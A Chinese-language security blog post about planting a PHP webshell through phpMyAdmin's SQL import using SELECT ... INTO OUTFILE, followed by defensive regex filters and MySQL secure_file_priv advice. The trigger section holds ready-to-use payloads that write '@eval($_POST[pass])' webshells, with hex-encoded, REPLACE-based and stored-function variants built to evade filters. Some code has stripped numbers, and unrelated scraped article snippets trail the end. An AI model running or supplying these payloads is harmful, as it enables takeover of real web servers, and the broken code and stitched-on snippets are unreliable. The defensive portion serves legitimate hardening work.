Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk
目录
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性
0x1: Mysql SQL预编译(PREPARE Syntax)
/*
1. stmt_name: The PREPARE statement prepares a SQL statement and assigns it a name, stmt_name, by which to refer to the statement later.
2. preparable_stmt: preparable_stmt is either a string literal or a user variable that contains the text of the SQL statement. The text must represent a single statement, not multiple statements.
*/
PREPARE stmt_name FROM preparable_stmt
0x2: Mysql SQL执行(EXECUTE Syntax)
EXECUTE stmt_name
[USING @var_name [, @var_name] ...]
//After preparing a statement with PREPARE, you execute it with an EXECUTE statement that refers to the prepared statement name. If the prepared statement contains any parameter markers, you must supply a USING clause that lists user variables containing the values to be bound to the parameters.
Relevant Link:
https://dev.mysql.com/doc/refman/5.0/en/prepare.html
https://dev.mysql.com/doc/refman/5.0/en/execute.html
http://zone.wooyun.org/content/22606
2. 漏洞触发条件
. 已知phpmyadmin的root密码,即mysql的root密码(phpmyadmin只是通过web方式连接mysql的工具)
) mysql本身默认的弱口令
) 通过其他漏洞(例如注入)获得了mysql的root密码
. 已知网站的物理路径
) 在phpmyadmin的后台的"变量"tab页面,可以看到mysql的物理路径,从而推测出网站的物理路径
) 通过其他web漏洞获得网站的物理路径
通过phpmyadmin进行getshell的核心就是通过sql进行文件写的操作,常见的sql如下
-------
DROP TABLE IF EXISTS `a`;
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('xx');
select cmd from a into outfile 'C:/phpStudy/WWW/ali.php'
Drop TABLE IF EXISTS a;
------- -------
select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/exehack.php'
------- -------
set @strSql = replace("select '<?php @eval($_POST[pass]);?>' outo outfile 'c:/WWW/phpMyAdmin/alibaba.php'","outo","into");
prepare a from @strSql;
execute a;
------- -------
//select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/exehack.php'
SET @SQLString = 0x73656c65637420273c3f70687020406576616c28245f504f53545b706173735d293b3f3e27494e544f204f555446494c452027643a2f77616d702f7777772f6578656861636b2e70687027;
PREPARE test FROM @SQLString;
EXECUTE test;
------- -------
//declared mysql function
use test;
delimiter $$
CREATE FUNCTION myFunction
(in_string VARCHAR())
RETURNS VARCHAR() BEGIN
DECLARE new_string VARCHAR();
SET new_string = replace(in_string,"outo","into");
RETURN(new_string);
END$$ //hack
delimiter ;
SET @SQLString = test.myFunction("select '<?php @eval($_POST[pass]);?>' outo outfile 'c:/alibaba.php'");
PREPARE test FROM @SQLString;
EXECUTE test;
-------
Relevant Link:
http://www.exehack.net/681.html
http://www.exehack.net/99.html
http://www.187299.com/archives/1695
3. 漏洞影响范围
全部phpmyadmin版本
4. 漏洞代码分析
/phpMyAdmin/import.php
所有处理用户自定义SQL解析执行的逻辑都在这个PHP文件中实现
/*
this code point is important
$import_text is the one that need to be check strictly
*/
if ($go_sql)
{
// parse sql query
include_once 'libraries/parse_analyze.inc.php'; if (isset($ajax_reload) && $ajax_reload['reload'] === true)
{
$response = PMA_Response::getInstance();
$response->addJSON('ajax_reload', $ajax_reload);
}
PMA_executeQueryAndSendQueryResponse(
$analyzed_sql_results, false, $db, $table, null, $import_text, null,
$analyzed_sql_results['is_affected'], null,
null, null, null, $goto, $pmaThemeImage, null, null, null, $sql_query,
null, null
);
}
else if ($result)
{
// Save a Bookmark with more than one queries (if Bookmark label given).
if (! empty($_POST['bkm_label']) && ! empty($import_text))
{
PMA_storeTheQueryAsBookmark(
$db, $GLOBALS['cfg']['Bookmark']['user'],
$import_text, $_POST['bkm_label'],
isset($_POST['bkm_replace']) ? $_POST['bkm_replace'] : null
);
} $response = PMA_Response::getInstance();
$response->isSuccess(true);
$response->addJSON('message', PMA_Message::success($msg));
$response->addJSON(
'sql_query',
PMA_Util::getMessage($msg, $sql_query, 'success')
);
}
else if ($result == false)
{
$response = PMA_Response::getInstance();
$response->isSuccess(false);
$response->addJSON('message', PMA_Message::error($msg));
}
else
{
$active_page = $goto;
include '' . $goto;
}
5. 防御方法
对变量$import_text进行恶意检查是我们针对phpmyadmin执行sql导出文件getshell攻击的防御思路
/phpMyAdmin/import.php
} elseif (! empty($id_bookmark)) {
// run bookmark
$import_type = 'query';
$format = 'sql';
}
//在文件的最开头进行SQL恶意检测,最大程度地兼容所有pmd的sql解析、执行逻辑
if(preg_match("/select.*into.*(outfile|dumpfile)/sim", $import_text, $matches)) { $erromsg = "request error!" . "</br>" . $matches[]; die($erromsg); }
//file name filter
$matchResult = preg_match_all("#\b(0[xX]){0,1}[0-9a-fA-F]+\b#", $import_text, $matchs);
if($matchResult != && $matchResult != FALSE)
{
foreach ($matchs[] as $key => $value)
{
$hex = substr($value, );
$import_text_hex = hex2bin($hex);
if (preg_match('#\.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)#i', strtolower($import_text_hex), $matches_1)) { $pmderromsg = "request error!" . "</br>" . $matches_1[]; die($pmderromsg); }
}
}
要特别注意的是,在使用PHP的正则匹配引擎的时候,需要考虑到换行场景下的bypass风险
还需要注意的,MYSQL存在很多扩展语法,例如
. 定义存储过程
. 定义函数
. 定义触发器
. 使用语法预处理编译
/*
prepare stmt from 'select count(*) from information_schema.schemata';
这里待编译的sql语句也可以进行字符变形以此进行bypass
execute stmt;
*/
从攻防的本质上来讲,phpmyadmin的自定义sql导出shell接口这里的修复只是防御了攻击的一条向量,黑客还可以通过其他的攻击向量发起攻击
. 通过mysql弱口令,进mysql,添加一个账户,开启远程外连
. 通过mysql命令行连接之后,通过命令行执行sql导出文件
要想做到彻底防御,要从多个角度入手进行防御
. 对phpmyadmin的/import.php进行代码层防御,禁止用户执行导出文件相关的GETSHELL
. 对mysql的弱口令密码进行健康检测,提示管理员修改密码
. 使用主动防御Hook技术,接管文件系统,禁止mysql进行写xxx.php文件
0x2: 权限ACL控制
mysql5.7以后新增了对文件操作的ACL控制
| Command-Line Format | --secure-file-priv=dir_name |
||
| System Variable | Name | secure_file_priv |
|
| Variable Scope | Global | ||
| Dynamic Variable | No | ||
| Permitted Values (<= 5.7.5) | Type | string | |
| Default | empty |
||
| Valid Values | empty |
||
dirname |
|||
| Permitted Values (>= 5.7.6) | Type | string | |
| Default | platform specific |
||
| Valid Values | empty |
||
dirname |
|||
NULL |
|||
默认情况下,利用mysql文件导出写shell会遇到如下错误

需要手工添加信任目录
Relevant Link:
http://php.net/manual/en/function.preg-match.php#111573
http://blog.sina.com.cn/s/blog_3fe961ae01013r8f.html
https://dev.mysql.com/doc/refman/5.7/en/server-options.html#option_mysqld_secure-file-priv
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved
Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk的更多相关文章
- getshell技巧-phpMyAdmin的利用
生活就是泥沙俱下,鲜花和荆棘并存.--毕淑敏 1.明确目标2.信息收集3.漏洞挖掘和利用 信息收集 明确路径 利用目录扫描工具,对目标网站进行扫描,获取网站目录.常用工具有Kali中的DirBuste ...
- TT8509: PL/SQL execution terminated; PLSQL_TIMEOUT exceeded
TT8509: PL/SQL execution terminated; PLSQL_TIMEOUT exceeded plsql_timeout连接超时,解决办法: ODBC pl/sql选项卡 修 ...
- sql server数据库字段名要注意不能叫file
sql server数据库字段名要注意不能叫file 如java 中 private string file,这是sql 的关键字
- PL/SQL developer export/import (转)
export/import图标为灰色:原因:相关应用程序没有关联菜单栏 --> Tools --> Import Tables... --> Oracle Import Export ...
- [转载] Can't create table './store/#sql-b2c_1a.frm' (errno: 150)和sql execution error #1452添加外键时错误解决方法
Can't create table './store/#sql-b2c_1a.frm' (errno: 150)解决方法 错误原因有四: 1.外键的引用类型不一样,主键是int外键是char 2.找 ...
- Error:Execution failed for task ':app:mergeDebugResources'. > Error: Some file crunching failed, see logs for details
android studio中的资源文件命名是不能带有数字的,因为会与R类的资源ID起冲突,所以编译就发生了错误.
- Spark2.x(六十一):在Spark2.4 Structured Streaming中Dataset是如何执行加载数据源的?
本章主要讨论,在Spark2.4 Structured Streaming读取kafka数据源时,kafka的topic数据是如何被执行的过程进行分析. 以下边例子展开分析: SparkSession ...
- Python信息采集器使用轻量级关系型数据库SQLite
1,引言Python自带一个轻量级的关系型数据库SQLite.这一数据库使用SQL语言.SQLite作为后端数据库,可以搭配Python建网站,或者为python网络爬虫存储数据.SQLite还在其它 ...
- python快速教程-vamei
2016年10月26日 12:00:53 今天开始着手python的学习,希望能高效快速的学完! Python基础(上)... 7 实验简介... 7 一.实验说明... 8 1. 环境登录... 8 ...
随机推荐
- IO(一)----字节流
File类是文件的抽象表示,如果要对文件的内容进行读写就需要使用IO流技术. IO流简介:(Input/Output) I/O类库中使用"流"这个抽象概念.Java对设备中数据的操 ...
- 航空货运:运价类别Rate Class
1.普通货物运价(1)基础运价(代号N -注:Normal的首字母)民航总局统一规定各航段货物基础运价为45公斤以下普通货物运价.(2)重量分界点运价(代号Q -注:Quantity的首字母)国内航 ...
- HAXM VT-X (与Hype-V冲突)
之前一直使用vs emulator. 感觉性能各方面都比较好, 但在我更新完电脑后不知道什么原因各种起不来... 无奈之下想回到Google自带的模拟器. 然后发现intel haxm一直安装失败. ...
- easyui layout 折叠后显示标题
(function($){ var buttonDir = {north:'down',south:'up',east:'left',west:'right'}; $.extend($.fn.layo ...
- lecture5-对象识别与卷积神经网络
Hinton第五课 突然不知道object recognition 该翻译成对象识别好,还是目标识别好,还是物体识别好,但是鉴于范围性,还是翻译成对象识别吧.这一课附带了两个论文<Convolu ...
- infer.net 入门2 用一个侦探故事来讲解,通俗易懂
The results look OK, but how do you know that you aren’t missing something. Would a more sophisticat ...
- Bootstrap系列 -- 7. 列表排版方式
一. 去点列表 1. 使用class=list-unstyled <ul > <li>无序列表项目</li> <li>无序列表项目</li> ...
- jsonp的优缺点
转载:http://www.w3cfuns.com/notes/18271/df9ecd8f0ca5e523ae75745a3996c47c.html JSONP的优缺点 1.优点 ...
- SQL-Server下载地址
有同学费尽心思的找SQL server数据库各版本的下载地址,看到别人的求助贴就不自觉的想去帮助他们,但是一个一个去帮助又不太现实,毕竟个人精力有限,既然大家有需求,那么艾薇百科今天就本着乐于分享和奉 ...
- extjs 箱子布局
a.flex 配置项 flex 配置项不是设置在布局上,而是设置在子项的配置项.每个子项相对的 flex 值都会与全体子项 flex 累加的值相比较,根据此结果,处理每个子项的 flex 最后是多少. ...